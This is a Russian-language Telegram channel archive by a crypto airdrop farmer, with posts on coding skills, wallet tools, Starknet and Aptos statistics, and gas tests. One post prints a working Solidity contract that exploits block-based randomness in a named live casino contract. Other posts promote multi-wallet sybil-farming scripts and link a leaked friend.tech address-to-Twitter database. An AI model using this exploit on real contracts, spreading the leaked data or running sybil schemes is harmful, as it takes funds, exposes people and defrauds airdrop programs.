Разнорабочий | Заметки
Open in Telegram
Публикую статьи, мысли, скрипты Связанный чат канала: https://t.me/raznorabochiy_chat
Show more6 114
Subscribers
No data24 hours
-147 days
-4330 days
Posts Archive
Хард скилы, завод 2/2
Возвращаясь к программированию. Если решили заняться именно им, то на старте выбор не большой: JavaScript (TypeScript) или Python
Плюсы js: проще реверс-инженирить бандл сайта, если нужно понять формирования какой-нибудь хитрой подписи, которая является аргументом в вызове смарт-контракта. Весь фронтенд сайтов делается только на js. Несколько очень хороших библиотек для работы с EVM: Web3.js, Ethers, Viem
Минусы js: Язык местами очень странный, довольно медленный
Плюсы python: более высокая скорость работы, огромное количество полезных библиотек, по настоящему универсальный язык, который используют во всех областях и в больших данных и в машинном обучении и в статистике
Минусы python: не все блокчейны выпускают на старте библиотеки для работы с ними на python, чаще выпускают библиотеку для взаимодействия на js
С чего начать обучение
Первое, это учебные материалы — база. Для js это https://learn.javascript.ru Больше в принципе ничего и не нужно, если не собираетесь писать что-то для браузера, можно скипнуть раздел про DOM.
Для питон знакомые рекомендуют https://www.codecademy.com/catalog/language/python
Второе, иметь перед глазами примеры кода для подражания, это должны быть очень хорошие скрипты. Сейчас на рынке огромное число бесплатных публичных скриптов, но проблема в том, что написаны они не очень хорошо. Среди десятков авторов, которых я смотрел, и у которых действительно очень хороший стиль, достойных для подражания не много:
Python
https://github.com/czbag — эталонный код, всё понятно, аккуратно, структурировано, декораторы к месту, ООП уместно использовано, там где оно нужно
JS/TS:
https://github.com/munris-vlad/base
https://github.com/humansimulacrum/aptos-simulator
Пост будет дополняться хорошими авторами и учебными материалами.
Хард скилы, завод 1/2
Знакомые и парни из нашего DAO меня периодически спрашивают советы по хард скилам.
Не смотря на то, что в ближайшей перспективе маячат крупные дропы, затяжная медвежка наводит на мысли о том, что неплохо было бы иметь навыки для булрана или возможность в любой момент устроиться на завод.
Немного расскажу про свой случай, я не фултайм в крипте, регуляный доход я получаю на заводе, все активности в крипте я делаю параллельно, у меня 2 раза были мысли бросить завод, когда я зарабатывал в крипте крупные суммы, но всегда за ними следовал обвал рынка 😁
Конкретно мой случай с заводом меня устраивает тем, что я могу работать из дома и многие задачи я делаю на автомате, что не отнимает у меня много ментальных сил.
По поводу хард скилов. Тут нужно определиться, в какой из областей вы хотите развиваться. Программирование, как самое первое, что приходит на ум, не всем подходит. Чтобы развиваться в этой сфере, оно должно нравиться и доставлять удовольствие. Иначе вы просто не сможете найти мотивацию для дальнейшего обучения.
Есть другие области в it, которые могут больше подойти, например аналитик (если нравится анализировать данные, копаться в транзакциях, находить закономерности), сисадмин/девопс (если нравится ставить ноды)
У Яндекса есть бесплатный курс «Старт в IT» https://practicum.yandex.ru/start-in-it/ который может быть не бесполезным и поможет сориентироваться.
продолжение в следующем посте
Угадываем «случайное число»
Пост про казино набрал 100 реакций, это рекорд для моего канала, спасибо!
Как и обещал, рассказываю решение.
Смотрим текст контракта
Нас интересует функция randomChoice:
function randomChoice() private view returns (uint) {
return uint(Choice(uint(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))) % 3 + 1));
}
видим, что она зависит от номера блока block.number и времени создания блока block.timestamp
Для того, чтобы контролировать эти значения, есть один трюк, нужно вызвать метод play не напрямую, а из другого контракта, получится, что в этом контракте-обёртке при вызове всё будет происходить в том же самом блоке и мы точно будем знать номер блока и время блока и можем предугадать «случайное число» в вызываемом контракте.
Вот код этого контракта:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// интерфейс контракта казино
interface PSC {
function play(uint _choice, uint _bet) external payable;
}
contract Winner {
address owner;
enum Choice { None, Rock, Paper, Scissors }
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this function");
_;
}
function play() public payable {
// адрес контракта казино
PSC casino = PSC(0xdc1F526FFaC607d9680A0d1290baCe2b539d82Ab);
// копируем алгоритм получения числа из контракта казино, именно это число казино сгенерирует, так как код выполнится в том же блоке
Choice casinoChoice = Choice(uint(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))) % 3 + 1);
uint choice = 0;
// тут вычисляем решение, которое перебьёт выбор казино
if (casinoChoice == Choice.Rock) {
choice = uint(Choice.Paper);
} else if (casinoChoice == Choice.Paper) {
choice = uint(Choice.Scissors);
} else if (casinoChoice == Choice.Scissors) {
choice = uint(Choice.Rock);
}
// вызываем контракт казино и передаём туда выигрышное значение
casino.play{ value: 1000000000000000 }(choice, 1000000000000000);
}
// не забываем функцию вывода денег из нашего контракта
function withdraw(uint amount) public onlyOwner {
require(address(this).balance >= amount, "Insufficient balance for withdrawal");
payable(owner).transfer(amount);
}
receive() external payable {
}
}
Теперь задеплоив этот контракт, например через Remix IDE, можно вызывать метод play у контракта Winner, которы вызовет метод play у контракта казино и выиграет.
Откуда я узнал про этот трюк?
Есть несколько CTF по безопасности смарт-контрактов, я их проходил некоторое время назад:
* https://capturetheether.com/ — к сожалению пройти сейчас уже нельзя, так как все задания проводились в тестовой сети Ropsten, которая сейчас не работает, но можно почитать задания и найти решения квестов
* https://ethernaut.openzeppelin.com/ — это работаетКазино не всегда выигрывает
Тут Kauman выкатил казино для сибилов, для накрутки дешёвых транз в Nova, Zora, Base и Scroll.
Проблема в его реализации казино - случайное число генерируется на основе данных блока, классика.
Я вынес его казино в Арбитрум Нове (в демонстрационных целях) 5-ю выигрышными транзами вподряд.
Трюк не сложный, если у этого сообщения будет 100 лайков, расскажу как я это сделал и приложу код.
Универсальная деплоелка контрактов
По-быстрому дописал деплоелку - https://github.com/raznorabochiy/simple-deploy
Умеет деплоить контракты по списку приватников.
Прекомпилированны 3 стандартных контракта из Remix IDE, деплоит рандомно один из 3-х.
3-й контракт 3_Ballot.sol довольно жирный и цена его деплоя сильно выше, чем у 1_Storage.sol и 2_Owner.sol
В принципе штука эта универсальная и подходит для любых EVM сетей, нужно только менять RPC. Я давно использовал этот скрипт для получения NFT разработчика на Base, но конкретно сейчас он понадобился для получения Soulbound NFT от Scroll - https://scroll.io/developer-nft/check-eligibility
Смена приватника в Aptos
После публикации поста про смену приватников в Starknet, мне написало в лс куча людей, читатели мне подсказали много полезных вещей, которые можно поресёрчить/проверить. Одна из таких любопытных вещей это факт, что в Aptos тоже можно заменить приватник!
Я написал статью и пример кода.
https://telegra.ph/Smena-privatnika-v-Aptos-10-24
Aptos Opt In Direct Transfer
Экстренное включение, если этот скриншот вам о чём-нибудь говорит, у меня для вас хорошие новости по ссылке ниже:
https://github.com/raznorabochiy/aptos-opt-in-direct-transfer
Обновление Wallets Tools 💎
Добавил поддержку Aleo, работа с сид-фразами, адресами, приватниками. Проверил совместимость в «Leo Wallet» и «Soter | Aleo Wallet»
npm run seeds:aleo:addresses — выводит Aleo-адреса из seed-фраз хранящихся в файле seeds.txt и записывает их в файл addresses.txt
npm run seeds:aleo:privates — выводит Aleo-приватники из seed-фраз хранящихся в файле seeds.txt и записывает их в файл privates.txt
npm run privates:aleo:addresses — выводит Aleo-адреса из Aleo-приватников хранящихся в файле privates.txt и записывает их в файл addresses.txt
https://github.com/raznorabochiy/wallets-toolsНовый приватник для старого аккаунта
Представьте, как было бы круто, если бы можно было менять приватник на своём кошельке?! Купил аккаунты на OTC, поменял приватники и старый хозяин ничего не может сделать с аккаунтом. Или понял, что скомпрометировал сид-фразу/приватник, взял и поменял на новый. А что если я вам скажу что ТАКОЕ ВОЗМОЖНО! 🤯
Правда только в StarkNet благодаря их account abstraction.
https://telegra.ph/Novyj-privatnik-dlya-starogo-akkaunta-10-10
Wallets Tools 💎
Моя тулза, которую использую для генерации сидок и кошельков.
Она может:
* сгенерировать N сид-фраз
* сделать из сид-фраз приватники для EVM, Aptos, SUI, StarkNet (Argent X), StarkNet (Braavos)
* сделать из сид-фраз адреса для EVM, Aptos, SUI, StarkNet (Argent X), StarkNet (Braavos)
* сделать из приватников адреса для EVM, Aptos, SUI, StarkNet (Argent X), StarkNet (Braavos)
* перемешивать строки в текстовом фале (например вы используете софт который не шафлит приватники, перед тем как добавить туда их вы можете предварительно перемешать)
* перемешивать строки в текстовом фале на группы по N (например разбиваете приватники по 9) и каждый день прогоняете в софте одну группу из 9 приватников
Для Argent X может генерить как старые, так и новые приватники/адреса (у них менялся алгоритм при переходе на Cairo 1.0).
После установки зависимостей можно отключить интернет и делать все операции без интернета, если параноити.
Скрипты в принципе очень простые для понимания, библиотеки официальные.
https://github.com/raznorabochiy/wallets-tools/
Статистика по Aptos
Как и у Старкнета, источником данных по работе Aptos являются сканнеры/эксплореры.
Кроме официального скана есть несколько альтернативных.
В этом посте хочу поделиться ссылками и указать на любопытную находку.
https://aptoscan.com/statistics
https://analytics.aptscan.ai
https://explorer.aptoslabs.com/analytics
Посмотрите на график роста новых кошельков.
После огромного интервала с приростом по 3k-10k новых кошельков в день, с середины лета и по сей день прирост резко возрастает в 5-10 раз, это хорошо видно на графиках.
Какого-то лютого шилла в СНГ-сибил сообществе я не наблюдаю. Встречал тейки о том, что у Аптоса есть токены предназначенные для комьюнити и это может быть вторым дропом, но не более. Кажется, что массово Аптос не крутят.
Кто же эти люди, что ломанулись делать новые Aptos кошельки с середины лета?
UPD: Вот тут https://liquidswap.com/#/aptos-staking/validators можно посмотреть количество людей застейкавших APT, сложив значение Active Delegators у всех валидаторов получим около 10k адресов на момент написания этого текста
Количество транз в Starknet
С баликом разобрались в этом посте, с другими параметрами в предыдущем посте.
Подписчик спросил, а где-же посмотреть статистику по количеству транзакций на аккаунт?
Это важный параметр, но с этим немного сложнее. Я не нашёл быстрого способа получить эти данные и пришлось опросить 2.4M адресов. Это было не быстро, но всё получилось.
В этот раз нарисовал круговую диаграмму для наглядности.
UPD: дали ссылку на сервис https://starkstats.xyz/ в котором данные очень похожи на те, которые получились у меня
Распределение средств на аккаунтах Starknet
В продолжение вчерашнего поста и тейка про то, что Starknet это сибил-бомж сеть.
Я выгрузил балансы ETH, USDC и USDT для 2.4M кошельков и сгруппировал их для наглядности, как обычно это делают в дюне.
Круговые диаграммы рисовать не стал, точнее стал, но они не очень наглядные, потому как некоторые части сливаются в линию.
Где смотреть статистику по Starknet?
Как только начал крутить старкнет, по привычке пошёл на Дюну.
Не смотря на то, что в Дюне можно найти дашборды со словом Starknet в заголовке, все они будут очень странными, с занижеными значениями и почему-то evm-адресами. Так как во многих дашбордах SQL-запросы скрыты, не понятно что они там вообще считают. Скорее всего какие-нибудь бриджи в evm-сети. А вообще Дюна не поддерживает Старкнет, пруф
Где же искать данные? У Старкнета есть целых три(!!!) эксплорера. И в каждом есть раздел со статистикой/аналитикой.
Вы можете найти ответы на такие важные вопросы:
* Сколько коешльков в сети? ~2.4M
* Какой кош популярнее Argent X или Braavos? Argent X в 3 раза популярнее
* Когда был пик сибилизации? 9 мая, 31 августа
* Сколько создаётся новых кошельков в день? от 7k до 15k
* Сколько кошельков обновились на Cairo 1.0? 53k
* Сколько обычно держат эфира на балансе? Очень мало, сибил-бомж дао
https://starkscan.co/stats#regenesi
https://voyager.online/analytics
https://viewblock.io/starknet/stats
UPD: добавил ссылку на https://starkstats.xyz/
Если мой кошелёк сдрейнят, я не удивлюсь
В последнее время всё чаще можно встретить сообщения инфлов о том, что их кошельки сдрейнили.
Дрейнят не только людей, которые бездумно загоняют свои приватники в первый попавшийся софт на нелицензионной винде, но и людей которые соблюдают цифровую гигиену.
У меня, как и у многих, есть несколько основных кошельков, на которых я делаю активности в ручном режиме и на которых есть условно несколько тысяч $, куча «паспортов», SBT, и прочего такого нажитого непосильным трудом. Потерять это было бы больно.
Я начал параноить, вспоминать, где я мог проебаться и вспомнил 2 кейса, о которых многие не задумываются и которые могут привести к потере приватников.
1. Я часто загоняю приватники от майн кошей в собственные скрипты, это удобно, потому как у меня во всех сетях на майнах есть ликвиднось чтобы побыстрому потестировать скрипт. Однажды скопировав приватник и вставив в скрипт, я забыл о том, что приватник в буфере обмена. Чуть позже я скопировал текст с какой-то страницы чтобы поискать его в поисковике. Видимо, не прожал ctrl-c, далее вставляю в поисковую строку, хуяк вставляется приватник. ВСЁ. Даже не нажав enter, срабатывает suggest поисковой системы, который отправляет приватник в моём случае в Яндекс. И приватник навсегда осядет в логах саджеста, пока его не обнаружит какой-нибудь программист или аналитик. Я точно знаю, что они с этим логом работают и это только вопрос времени.
2. Если вы кодер, то возможно пользуетесь всякими модными AI штуками, которые встраиваются в редактор и помогают писать код, например copilot или codeium. Если вы вставляете в код приватник, а я делал это в тестовых скриптах, то при формировании подсказки эти тулзы отправляют ваши фрагменты кода на сервер, чтобы получить подсказку и ваши приватники наверняка осядают в логах и ждут когда их обнаружат сотрудники этих контор.
Что я буду делать? Выводить крупные суммы с основных акичей и оставлять пару сотен для всяких активностей пока их не сдрейнят, они уже скомпрометированы.
Активность для бояр
Сделал по-быстрому минтилку NFT EIGENWORLDS - BASE LAYER
Минтит в Ethereum, при газе в 12 gwei получается около $2.
Максимальный газ можно настроить в конфиге, слова для минта можно настроить или они сгенерируются из словаря.
Минт будет работать ещё 3 дня.
https://github.com/raznorabochiy/eigenlayer-mint
С таким низким газом утром и в выходные дни, просто грех не гонять транзы в StarkNet. Тем более, что на рынке есть и бесплатный и недорогой платный софт.
Недавно форкнул скрипт от Сибил мафии и дописал проверку газа в L1 перед отправкой транзакции - https://github.com/raznorabochiy/starknet-soft-retrodrops
Также сегодня понял, что мне нехватает инструмента чтобы чекать количество транз и баланс основных токенов в Старкнете, написал скрипт для этого - https://github.com/raznorabochiy/starknet-stats
Enjoy! До конца лета осталось 5 дней, дальше газ будет только расти 🚀
Та самая утёкшая база friend.tech
привязка evm-адреса к твиттер-аккаунту
https://gist.github.com/banteg/76d141fea2e658e5d2854944342f2d3d
UPD: gist снесли, в комментах приложена сохранённая копия
gasLimit в zkSync
В очередной раз увидел спор в чате на счёт gasLimit в zkSync, продублирую свой старый пост из приватки FACKBLOCK
Сделал бенчмарк, чтобы прояснить ситуацию с gasLimit в zkSync, влияет ли он на стоимость транзы или нет.
В Ethereum не влияет.
Я сделал 2 одинаковые транзакции на SyncSwap.
Меняю 0.0001 ETH на 1.8966 USDC
Абсолютно все параметры транзакций одинаковы, кроме gasLimit.
У первой транзакции gasLimit автоматически расчитан через estimateGas, предложен нодой.
У второй транзакции gasLimit = gasLimit первой транзы x 2
Важное условие, обе транзы должны попасть в один и тот же блок, чтобы другие условия не влияли, так как для каждого блока свой gasPrice и есть всякие нюансы работ свапалок, которые тоже могут влият на цену в разных блоках.
Как вы видите на скриншоте, ДА gasLimit ВЛИЯЕТ НА СТОИМОСТЬ ТРАНЗАКЦИИ.
Refund не уравнивает цену постфактум!
Для меня это пиздец как странно, это всё равно, что в магазине я даю на кассе 1000 рублей, мне кассир продаёт Чупачупс за 100 рублей и возвращает сдачу, после меня подходит второй покупатель, даёт купюру 5000 рублей, ему кассир продаёт Чупачупс за 150 рублей и возвращает сдачу!
Для бич-схем можно попробовать занижать gasLimit от предложенного нодой, но нужно быть готовым к тому, что транзы будут фейлится, а деньги за незавершённую транзакцию списываться.
